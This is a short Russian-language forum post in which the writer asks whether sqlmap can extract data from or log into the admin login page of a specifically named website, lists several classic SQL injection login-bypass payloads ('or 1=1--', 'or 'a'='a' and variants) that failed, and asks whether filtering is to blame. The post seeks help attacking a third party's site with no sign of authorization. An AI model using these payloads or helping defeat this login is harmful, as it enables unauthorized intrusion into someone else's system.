Понял. Спасибо большое.

Тогда можно ли при помощи sqlmap выдернуть или авторизоваться через http://www.kazanboats.ru/admin/login.php?

Комбинация admin' : " or 1=1/* ' or 1=1--,

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

Почему-то не проходят.

Это связанно с фильтрацией или с неправильно составленным запросом?